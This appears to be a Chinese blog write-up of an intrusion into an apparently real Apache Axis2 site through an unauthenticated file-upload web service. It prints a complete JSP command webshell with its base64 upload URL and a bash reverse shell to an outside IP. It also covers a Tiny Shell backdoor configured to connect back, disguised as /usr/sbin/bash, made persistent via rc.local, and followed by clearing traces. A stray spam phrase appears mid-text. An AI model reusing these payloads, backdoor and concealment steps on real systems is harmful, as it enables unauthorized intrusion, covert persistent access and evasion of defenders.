一 前言
最近在渗透测试中,遇到一个比较有趣的站,因此来分享一下
二 信息收集
首先通过nmap进行端口扫描,同时通过dirsearch进行目录扫描,dirsearch扫描结果如下。
通过目录扫描发现一些有用的信息
第一 axis2构建的webservice
第二 axis2的后台登录地址(/axis2/axis2-admin/)存在
google axis2漏洞,发现多半都是默认口令进入后台上传war包getshell
三 漏洞测试
访问后台地址,尝试默认口令admin/axis2,发现如下,顿时心凉半截
尝试爆破,无果
不甘心就此止步于此,于是尝试浏览网站,看看是否存在其他有价值的漏洞,直到发现了这个 PHP大马
四 柳暗花明
访问http://xxxxxx/axis2/services/FileUploader?wsdl 发现一个wsdl接口文档,名为uploadfile
第一次看到一阵蒙,但内心坚定这里一定可以利用,于是各种百度,发现了如下文章
webservie+soap+wsdl入门
根据文章所讲,加上自己猜测,明白这是个可以上传文件的接口文档,根据文档简单来看
如下代码定义了传入的参数
documento表示上传内容,类型是base64Binary
ruta表示路径,类型是String
nombre表示文件名字,类型是String 天天好彩
<xs:complexType>
<xs:sequence>
<xs:element minOccurs="0" name="documento" nillable="true" type="xs:base64Binary"/>
<xs:element minOccurs="0" name="ruta" nillable="true" type="xs:string"/>
<xs:element minOccurs="0" name="nombre" nillable="true" type="xs:string"/>
</xs:sequence>
</xs:complexType>
如下代码定义了上传访问路径(FileUploader/uploadFile),以及上传方式(post)
<wsdl:binding name="FileUploaderHttpBinding" type="axis2:FileUploaderPortType">
<http:binding verb="POST"/>
<wsdl:operation name="uploadFile">
<http:operation location="FileUploader/uploadFile"/>
<wsdl:input>
<mime:content type="text/xml" part="parameters"/>
</wsdl:input>
<wsdl:output>
<mime:content type="text/xml" part="parameters"/>
</wsdl:output>
</wsdl:operation>
</wsdl:binding>
结合以上,可以看出来这个接口文档告诉我们这里存在一个任意文件上传漏洞
上传jsp木马
<%@ page contentType="text/html;charset=big5" session="false" import="java.io.*" %> <html> <head> <title></title> <meta http-equiv="Content-Type" content="text/html; charset=big5"> </head> <body> <% Runtime runtime = Runtime.getRuntime(); Process process =null; String line=null; InputStream is =null; InputStreamReader isr=null; BufferedReader br =null; String ip=request.getParameter("cmd"); try { process =runtime.exec(ip); is = process.getInputStream(); isr=new InputStreamReader(is); br =new BufferedReader(isr); out.println("<pre>"); while( (line = br.readLine()) != null ) { out.println(line); out.flush(); } out.println("</pre>"); is.close(); isr.close(); br.close(); } catch(IOException e ) { out.println(e); runtime.exit(1); } %> </body> </html>
base64编码以上jsp木马
PCVAIHBhZ2UgY29udGVudFR5cGU9InRleHQvaHRtbDtjaGFyc2V0PWJpZzUiIHNlc3Npb249ImZhbHNlIiBpbXBvcnQ9ImphdmEuaW8uKiIgJT4KCjxodG1sPgoKPGhlYWQ+Cgo8dGl0bGU+PC90aXRsZT4KCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PWJpZzUiPgoKPC9oZWFkPgoKPGJvZHk+Cgo8JQoKICBSdW50aW1lIHJ1bnRpbWUgPSBSdW50aW1lLmdldFJ1bnRpbWUoKTsKCiAgUHJvY2VzcyBwcm9jZXNzID1udWxsOwoKICBTdHJpbmcgbGluZT1udWxsOwoKICBJbnB1dFN0cmVhbSBpcyA9bnVsbDsKCiAgSW5wdXRTdHJlYW1SZWFkZXIgaXNyPW51bGw7CgogIEJ1ZmZlcmVkUmVhZGVyIGJyID1udWxsOwoKICBTdHJpbmcgaXA9cmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpOwoKCiAgdHJ5CgogIHsKCiAgICBwcm9jZXNzID1ydW50aW1lLmV4ZWMoaXApOwoKICAgIGlzID0gcHJvY2Vzcy5nZXRJbnB1dFN0cmVhbSgpOwoKICAgIGlzcj1uZXcgSW5wdXRTdHJlYW1SZWFkZXIoaXMpOwoKICAgIGJyID1uZXcgQnVmZmVyZWRSZWFkZXIoaXNyKTsKCiAgICBvdXQucHJpbnRsbigiPHByZT4iKTsKCiAgICB3aGlsZSggKGxpbmUgPSBici5yZWFkTGluZSgpKSAhPSBudWxsICkKCiAgICB7CgogICAgICBvdXQucHJpbnRsbihsaW5lKTsKCiAgICAgIG91dC5mbHVzaCgpOwoKICAgIH0KCiAgICBvdXQucHJpbnRsbigiPC9wcmU+Iik7CgogICAgaXMuY2xvc2UoKTsKCiAgICBpc3IuY2xvc2UoKTsKCiAgICBici5jbG9zZSgpOwoKICB9CgogIGNhdGNoKElPRXhjZXB0aW9uIGUgKQoKICB7CgogICAgb3V0LnByaW50bG4oZSk7CgogICAgcnVudGltZS5leGl0KDEpOwoKICB9CgolPg==
构造payload如下
http://xxxxxx/axis2/services/FileUploader/uploadFile?documento=PCVAIHBhZ2UgY29udGVudFR5cGU9InRleHQvaHRtbDtjaGFyc2V0PWJpZzUiIHNlc3Npb249ImZhbHNlIiBpbXBvcnQ9ImphdmEuaW8uKiIgJT4KCjxodG1sPgoKPGhlYWQ+Cgo8dGl0bGU+PC90aXRsZT4KCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PWJpZzUiPgoKPC9oZWFkPgoKPGJvZHk+Cgo8JQoKICBSdW50aW1lIHJ1bnRpbWUgPSBSdW50aW1lLmdldFJ1bnRpbWUoKTsKCiAgUHJvY2VzcyBwcm9jZXNzID1udWxsOwoKICBTdHJpbmcgbGluZT1udWxsOwoKICBJbnB1dFN0cmVhbSBpcyA9bnVsbDsKCiAgSW5wdXRTdHJlYW1SZWFkZXIgaXNyPW51bGw7CgogIEJ1ZmZlcmVkUmVhZGVyIGJyID1udWxsOwoKICBTdHJpbmcgaXA9cmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpOwoKCiAgdHJ5CgogIHsKCiAgICBwcm9jZXNzID1ydW50aW1lLmV4ZWMoaXApOwoKICAgIGlzID0gcHJvY2Vzcy5nZXRJbnB1dFN0cmVhbSgpOwoKICAgIGlzcj1uZXcgSW5wdXRTdHJlYW1SZWFkZXIoaXMpOwoKICAgIGJyID1uZXcgQnVmZmVyZWRSZWFkZXIoaXNyKTsKCiAgICBvdXQucHJpbnRsbigiPHByZT4iKTsKCiAgICB3aGlsZSggKGxpbmUgPSBici5yZWFkTGluZSgpKSAhPSBudWxsICkKCiAgICB7CgogICAgICBvdXQucHJpbnRsbihsaW5lKTsKCiAgICAgIG91dC5mbHVzaCgpOwoKICAgIH0KCiAgICBvdXQucHJpbnRsbigiPC9wcmU+Iik7CgogICAgaXMuY2xvc2UoKTsKCiAgICBpc3IuY2xvc2UoKTsKCiAgICBici5jbG9zZSgpOwoKICB9CgogIGNhdGNoKElPRXhjZXB0aW9uIGUgKQoKICB7CgogICAgb3V0LnByaW50bG4oZSk7CgogICAgcnVudGltZS5leGl0KDEpOwoKICB9CgolPg==&ruta=./&nombre=2.jsp
访问链接,结果如下,表示成功得到一个jsp shell
反弹shell
访问shell地址,执行反弹shell(信息收集阶段nmap发现为linux)
http://xxxx/axis2/2.jsp?cmd=bash -i >& /dev/tcp/外网ip/port 0>&1
执行反弹几次,发现一直不成功,最后通过测试,该主机对端口访问进行了限制,只能访问外网80端口,故反弹shell连接中port为80
后门
当反弹shell后,发现是一台虚拟机,有点失望,但同时发现,该机具有多个内网网段,故打算留个后门以用来进行后面的内网渗透
我打算留下一个tsh后门,Tiny Shell 是一款开源的Unix类后门shell工具,由C语言编写,体积小(在kali系统上编译后只有55K大小)
该后门分为客户端和服务端,支持正向连接模式(即服务端在远程运行,使用者远程直接链接),和反弹连接模式(使用者在自己服务器监听,服务端链接监听端口)
后门下载地址:https://github.com/orangetw/tsh.git
下载tsh到自己服务器上,修改其中的tsh.h文件如下
#ifndef _TSH_H #define _TSH_H char *secret = "replace with your password"; #define SERVER_PORT 80/*监听端口*/ #define FAKE_PROC_NAME "/bin/bash" #define CONNECT_BACK_HOST "外网ip" #define CONNECT_BACK_DELAY 30 #define GET_FILE 1 #define PUT_FILE 2 #define RUNSHELL 3 #endif /* tsh.h */
自己服务器上执行
目标机器上通过wget下载tsh
解压后进入tsh目录,然后执行编译(原本打算在自己服务器上编译后上传,结果因为库版本不同报错)
make linux
把图中的tsh下载到自己的服务器上(在控制端执行监听)
然后执行
./tsh cb
将图下tshd重命名为bash,移动至/usr/sbin/bash(以达到更好隐藏自己的目的)
./usr/sbin/bash
30秒钟左右,成功获取一个shell
权限维持
如果,目标机器重启,则tsh后门将要失效,为了防止tsh失效,我们可以在/etc/rc.local文件中写入
/bin/bash /usr/sbin/bash
因为在linux启动中,会执行/etc/rc.local中的代码
最后就是清楚自己留下的痕迹了
四 总结
在这次测试中,主要是明白了,开发总是会出现各种问题,一条路不通,走下一条路,才能在这其中学到跟多知识,更加希望大佬们指出其中的不足,感谢,感谢,感谢。